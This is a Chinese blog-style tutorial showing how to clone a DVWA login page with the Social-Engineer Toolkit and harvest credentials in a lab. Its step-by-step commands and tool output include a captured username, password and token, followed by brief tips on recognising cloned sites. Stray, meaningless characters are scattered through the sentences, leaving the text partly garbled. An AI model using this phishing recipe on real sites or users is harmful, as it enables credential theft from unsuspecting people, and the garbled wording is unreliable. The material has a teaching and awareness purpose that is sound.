社會工程實戰(zhàn)-網(wǎng)站克隆憑據(jù)收集

0x00 測試拓撲

0x01 社工思路

Kali linux通過將DVWA的網(wǎng)站(http://10.121.10.173/DVWA/login.php)進行克隆轩勘,然后將克隆后的網(wǎng)站地址(即http://10.121.10.170)發(fā)給用戶,用戶未仔細校對分辯網(wǎng)址的情況下在克隆后的網(wǎng)站地址10.121.10.170中輸入原本要登錄DVWA系統(tǒng)的登錄名和密碼,導(dǎo)致這些信息被記錄下來默辨。

0x02 社工步驟

【Step1】

root@kali:~# setoolkit 啟動社工工具

[-] New set.config.py file generated on: 2017-08-06 16:03:13.878092
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2017-08-06 16:03:13.878092
[*] SET is using the new config, no need to restart
Select from the menu:
   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About
  99) Exit the Social-Engineer Toolkit

【Step2】

set> 1 選擇1挎狸,Social-Engineering Attacks社會工程攻擊

Select from the menu:
   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) SMS Spoofing Attack Vector
  11) Third Party Modules
  99) Return back to the main menu.

【Step3】

set> 2 選擇2寺擂,Website Attack Vectors網(wǎng)站攻擊

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.
The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.
The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method
  99) Return to Main Menu

【Step4】

set:webattack>3 選擇3,Credential Harvester Attack Method憑據(jù)收集攻擊

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.
 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.
 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import
  99) Return to Webattack Menu

【Step5】

set:webattack>2 選擇2劣针,Site Cloner網(wǎng)站克隆

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this

【Step6】

set:webattack> IP address for the POST back in Harvester/Tabnabbing:10.121.10.170 輸入本地監(jiān)聽地址(即網(wǎng)站被克隆到這個IP的主機上)

[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com

【Step7】

set:webattack> Enter the url to clone:http://10.121.10.173/DVWA/login.php 輸入要克隆的網(wǎng)站

[*] Cloning the website: http://10.121.10.173/DVWA/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] Apache is set to ON - everything will be placed in your web root directory of apache.
[*] Files will be written out to the root directory of apache.
[*] ALL files are within your Apache directory since you specified it to ON.
[!] Apache may be not running, do you want SET to start the process? [y/n]: y
[ ok ] Starting apache2 (via systemctl): apache2.service.
Apache webserver is set to ON. Copying over PHP file to the website.

【Step8】

在其他PC機上訪問http://10.121.10.170時,出現(xiàn)如下界面亿扁,該界面就是從10.121.10.173網(wǎng)站上克隆過來的DVWA登錄界面捺典。然后輸入用戶名密碼。

在此頁面上輸入用戶名密碼后从祝,頁面立即跳轉(zhuǎn)至http://10.121.10.173/DVWA/login.php(即正常DVWA網(wǎng)站的登錄頁面)襟己。如下圖所示。

【Step9】

查看kali linux的社工攻擊工具中記錄了用戶輸入的用戶名和密碼哄褒,表面網(wǎng)站克隆后稀蟋,用戶憑據(jù)被成功收集。如下所示呐赡。

Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
Feel free to customize post.php in the /var/www/html directory
[*] All files have been copied to /var/www/html
[*] SET is now listening for incoming credentials. You can control-c out of this and completely exit SET at anytime and still keep the attack going.
[*] All files are located under the Apache web root directory: /var/www/html
[*] All fields captures will be displayed below.
[Credential Harvester is now listening below...]

('Array\n',)
('(\n',)
('    [username] => admin\n',)   **用戶輸入的用戶名admin被成功記錄**
('    [password] => p@ssw0rd\n',)  **用戶輸入的密碼p@ssw0rd被成功記錄**
('    [Login] => Login\n',)
('    [user_token] => 8e0b355e4bbf86a78ac1d5dee2f6f396\n',)
(')\n',)

0x03 網(wǎng)站克隆憑據(jù)收集攻擊識別及防護

  • 在登錄時退客,輸入完用戶名和密碼后點擊登錄,發(fā)現(xiàn)頁面未進行跳轉(zhuǎn)链嘀,再一次的需要輸入用戶名和密碼且無任何報錯萌狂,這時就很有可能信息被收集了。

  • 銀行怀泊、金融等涉及財務(wù)的單位部門不會主動給用戶發(fā)送鏈接網(wǎng)址茫藏,因此在收到此類的網(wǎng)址后,千萬不要隨意登錄輸入信息霹琼,請務(wù)必跟相關(guān)單位確認务傲。

  • 登錄涉及金融凉当、個人信息等網(wǎng)站,建議第1次輸入時售葡,故意輸錯用戶名和密碼看杭。一般網(wǎng)站克隆后只收集1次信息,收集完后會立馬跳轉(zhuǎn)至正常的登錄界面挟伙。

  • 學(xué)會辨識常用的銀行楼雹、金融網(wǎng)址。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末尖阔,一起剝皮案震驚了整個濱河市贮缅,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌介却,老刑警劉巖谴供,帶你破解...
    沈念sama閱讀 222,183評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異筷笨,居然都是意外死亡憔鬼,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評論 3 399
  • 文/潘曉璐 我一進店門胃夏,熙熙樓的掌柜王于貴愁眉苦臉地迎上來轴或,“玉大人,你說我怎么就攤上這事仰禀≌昭悖” “怎么了?”我有些...
    開封第一講書人閱讀 168,766評論 0 361
  • 文/不壞的土叔 我叫張陵答恶,是天一觀的道長饺蚊。 經(jīng)常有香客問我,道長悬嗓,這世上最難降的妖魔是什么污呼? 我笑而不...
    開封第一講書人閱讀 59,854評論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮包竹,結(jié)果婚禮上燕酷,老公的妹妹穿的比我還像新娘。我一直安慰自己周瞎,他們只是感情好苗缩,可當我...
    茶點故事閱讀 68,871評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著声诸,像睡著了一般酱讶。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上彼乌,一...
    開封第一講書人閱讀 52,457評論 1 311
  • 那天泻肯,我揣著相機與錄音渊迁,去河邊找鬼。 笑死灶挟,一個胖子當著我的面吹牛宫纬,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播膏萧,決...
    沈念sama閱讀 40,999評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼蝌衔!你這毒婦竟也來了榛泛?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,914評論 0 277
  • 序言:老撾萬榮一對情侶失蹤噩斟,失蹤者是張志新(化名)和其女友劉穎曹锨,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體剃允,經(jīng)...
    沈念sama閱讀 46,465評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡沛简,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,543評論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了斥废。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片椒楣。...
    茶點故事閱讀 40,675評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖牡肉,靈堂內(nèi)的尸體忽然破棺而出捧灰,到底是詐尸還是另有隱情,我是刑警寧澤统锤,帶...
    沈念sama閱讀 36,354評論 5 351
  • 正文 年R本政府宣布毛俏,位于F島的核電站,受9級特大地震影響饲窿,放射性物質(zhì)發(fā)生泄漏煌寇。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,029評論 3 335
  • 文/蒙蒙 一逾雄、第九天 我趴在偏房一處隱蔽的房頂上張望阀溶。 院中可真熱鬧,春花似錦嘲驾、人聲如沸淌哟。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽徒仓。三九已至,卻和暖如春誊垢,著一層夾襖步出監(jiān)牢的瞬間掉弛,已是汗流浹背症见。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留殃饿,地道東北人谋作。 一個月前我還...
    沈念sama閱讀 49,091評論 3 378
  • 正文 我出身青樓,卻偏偏與公主長得像乎芳,于是被迫代替她去往敵國和親遵蚜。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 45,685評論 2 360

推薦閱讀更多精彩內(nèi)容